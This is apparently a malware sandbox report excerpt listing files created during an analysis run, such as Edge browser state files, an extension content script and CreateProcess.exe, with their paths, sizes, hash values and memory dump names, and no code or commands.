SHA512 b7c41e71610a300f96b53d7ef5148f2476ba27880b72144d7c88f662cdad3ec264d88107eca6dbb1c3f7badc2b1f9292a6d5d403d1a17cd16822e75c3d3743b6
SSDEEP 768:qrv+4UNbdv35XqGWaD0U5K48dHeByERRFzjK3YACfv:qbsbJ30Gjk48dHSyw/iCfv
TLSH
T12903CF706468AD730CABD289B643B6A7BFF4016384C54B68D5DDAF4E40874DD2B0BD2B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 34KB
SHA256 58cb88ae6a5c8eb81c91b28725f3191587b4d4396a1ee5298d1affb078ade7b5
MD5 c392c03a016d7fc405956a320350217c
SHA1 9e7cf845a3d50d7c2186459f17088cf03928e7c9
SHA512 3c2b5e01c051823c3e4c281cb6e4fe436fddca85709a4d65eb11b48697a07e543def21e456d6844d779272c3397499c4856331d37d0c7d67cc8112b7a00a5c94
SSDEEP 768:m03RXqGZaD0U4K48dHeByERRFzjK3YACfoQ:m038GU548dHSyw/iCfoQ
TLSH
T1E3F2AEB068A56D730CAAD289B753B797BFF0016384C89E24D5DDAB1E408359D1B0BC2F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 42KB
SHA256 115a013cc368725e9bc3b3f7a91475867434034f7b97f0c63c64d2aa91642a7c
MD5 2448a08a119f697fbbf244d504a008ed
SHA1 a8e1404af8a232385fadc90ee4315c902c1ed320
SHA512 0242033c8c8f64b9859037e87e027dd5db7a4a155c35fa25068fed32301ed8aafb3ab42b3d528c71bc82c7699af62278fe887712cfb4e8c83521805eba98acf4
SSDEEP 768:WFQD3VwgjXqG53GUcK48dHeByERRFzjK3YACfoQ:dD3SGV48dHSyw/iCfoQ
TLSH
T137133AF094D79976C8AE9387673E6E569EBCC063B4889994F7C85D0DCC820BFC706815
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 39KB
SHA256 1b3dc1ad74be95ddb9740c847c94b53a70517ccad627f750926ef6dbf2e3d877
MD5 7618fd28b39f33e9d89e551f5fc3cbe3
SHA1 ced85e400974e4473fa9a7ab77dd8c1ea7e9f2ee
SHA512 210583a16a8e63cb7da0a040fa81de92c79123f2928adca0d9de5794a504ca5810c3557551611c0c241332e874ec9b9e33bf2c9bc973badcef4ccc3c6c1068f2
SSDEEP 768:crv+4UNbdf3zqGIsD0UlK48dHeByERRFzjK3JACeVH1SCj:cbsbJ3uGLw48dHSyw/NCEH1Z
TLSH
T13F03BE70A4A8AE734CEB92497283B697BFF4016385C44BA4D4D9AF4E85870DD170BD2B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 34KB
SHA256 c1c198fc77c198cc0587b0875007c8cfa6d5ea6087e58cac157af59428e3332a
MD5 0f247842a66ae2d81d6f19ab6afc2eed
SHA1 318f7c59c8a0a4f64e6f712044fe90ef28fadb54
SHA512 b5a46c5f02d1af0a3a5987f6f84cf647550733889d42a6b30d8d5562860dc88757b69a6d964ca1ca96f752fa5560db890f7961800186404a90038be9c076ecca
SSDEEP 768:u035XqGZaD0U4K48dHeByERRFzjK3YACfoQ:u030GU548dHSyw/iCfoQ
TLSH
T1E9F2AEB058A5AD730CAAD289B7537797BFF0016385C89E24D5DDAB1E408359D1B0BC2F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 132B
SHA256 f4aa1676b1cc0e8c932821d57f7e6ec93246f48d7b840aca2d58ef9fac0ecd03
MD5 f5a3b29f9a977e23d6ca4eb728238f9f
SHA1 d2c5576fff1189eb66493b5b677d79a8ecead68d
SHA512 6f692909efad02642f6c3a4b7cd10b21760c6fbfd3bae39d3b8a77b22460fcd5f6b0ab6e262b007e533c406a981968b3e0894697ca50be7f10bf557f1c1972f3
TLSH
T128C02BD0883D5142CD620D5AC04301F420005C1C641C0A7804C814C0401142F328042E
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 252B
SHA256 aa807e4f1b970e487ba89b4ed9f5455dfb3acaffb192b8736b7bd0ccf63b8cf5
MD5 880fe67d2d8def8a73d1f09d09f8f2ff
SHA1 adad7fdd0652919461f89bfe36b449081489052b
SHA512 dec205f202a88afbf96f8015158638483f643ad02a9549b9eaef405a32a1ef2b2cf9c9480d70ccb43ef9ce64818827c6fe3cd27267f657cc33cb6ace9619d87a
TLSH
T18CD02B80043D0A82CFA50A5EE41749F810C44918759C197804CDA4D5501A067315881D
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 492B
SHA256 55aa4ab756834699189543863036551542c61249184224f927d1681ef15164dd
MD5 c1bec3bc77db46888e279f8b3eeb18fc
SHA1 c2d14f387c796193ddc6378267768745c10dae14
SHA512 8d41fbab8134eec1a95a53d4d56d1d2edb1edced5b2f4987278e5b8f6ac9b169c9928a0c52ebe7a66393caddfa5a29e001890386b54105a8e69958661b40ec35
TLSH
T134F09E808C3E1AC5D6B90F6FE40716FC40D8591670D9287844CEE4A8A47B05B311586D
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 372B
SHA256 dc86dff8fbd3b224794d65e8c0974ffa3b17c53a934c92f82e938e524fe823dd
MD5 80c2dfaf9affc09798a4976ae70f1b0b
SHA1 80daf1112206b189525aa4f5b380fbbba97b583a
SHA512 be5ed753856621e4dc5b64324872539291704bf5d2a415ac993b5f475db90e958544f281ac36d3e17af93c554895ceeaccf6fa9b0839d21c60a38443b2081876
TLSH
T15FE06880883D0EC2EBB60A5FE40706FC40C8491AB498187804CEF899A03B0973115C7D
MD5 SHA1 SHA512 TLSH

Submit Download

bfb2e5bf-95f0-436f-9da6-b8eeea92de27.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\extensions_crx_cache\bfb2e5bf-95f0-436f-9da6-b8eeea92de27.tmp
Size 13B
SHA256 2771d13c637c267132afff9db67537bef95708534b79ae8d954254c4e64e4e0f
MD5 2aa9e263ee3796d9ce358460a2451b4c
SHA1 7a55d937c0cd1f7543a12be730e4a78d0a14a545
SHA512 4909e73ffd1a777a9f102a8831f6ae5a9091084a2755707363251f39164bb65e22c318972ea59e7155976c6a626691dfa94539ee752f58e31aa16f4de5cdbccf
MD5 SHA1 SHA512

Submit Download

content_new.js

Path C:\Users\Admin\AppData\Local\Temp\scoped_dir3280_650893934\CRX_INSTALL\content_new.js
Size 10KB
SHA256 d4aa4602a1590a4b8a1bce8b8d670264c9fb532adc97a72bc10c43343650385a
MD5 3de1e7d989c232fc1b58f4e32de15d64
SHA1 42b152ea7e7f31a964914f344543b8bf14b5f558
SHA512 177e5bdf3a1149b0229b6297baf7b122602f7bd753f96aa41ccf2d15b2bcf6af368a39bb20336ccce121645ec097f6bedb94666c74acb6174eb728fbfc43bc2a
SSDEEP 192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
TLSH
T1DB22B68DA5A8ED7C1AC0C952E50EA62E5D342531E6E7A30320874ED8015CFB9D519FFD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

CreateProcess.exe

Path C:\temp\CreateProcess.exe
Size 3KB
SHA256 3b5e8b8d949e2973412e050ac87419c224f980784e76213db93ca0c551e70d08
MD5 7e28e6a25ed40b80e3caae8c1bad49aa
SHA1 b4d77b778aebaedbcae25b577517269c52ec4b44
SHA512 6a6f93ddac237bc3db9e86d24e01f156c57748caee21be009bc7b0a43ca716804fd3434c04af618d8d0ef0596b916bb2497d785b6f89acbb0406c4fd51655862
TLSH
T18971238357A8D5B2C1DE9BF503835644F5FF2238473330600BA1598AEB30A7A68B8F04
MD5 SHA1 SHA512 TLSH

Submit Download

memory/200-262-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/200-483-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/264-459-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/2940-435-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/3092-479-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/3180-187-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/3432-352-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/3544-311-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/3876-327-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/4128-400-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/4352-234-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/4876-64-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/5084-415-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/5084-437-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/5412-315-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/5504-274-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/5588-319-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/5628-455-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/5800-295-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/5884-404-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/5944-379-0x0000000000010000-0x00000000000AB000-memory.dmp

Download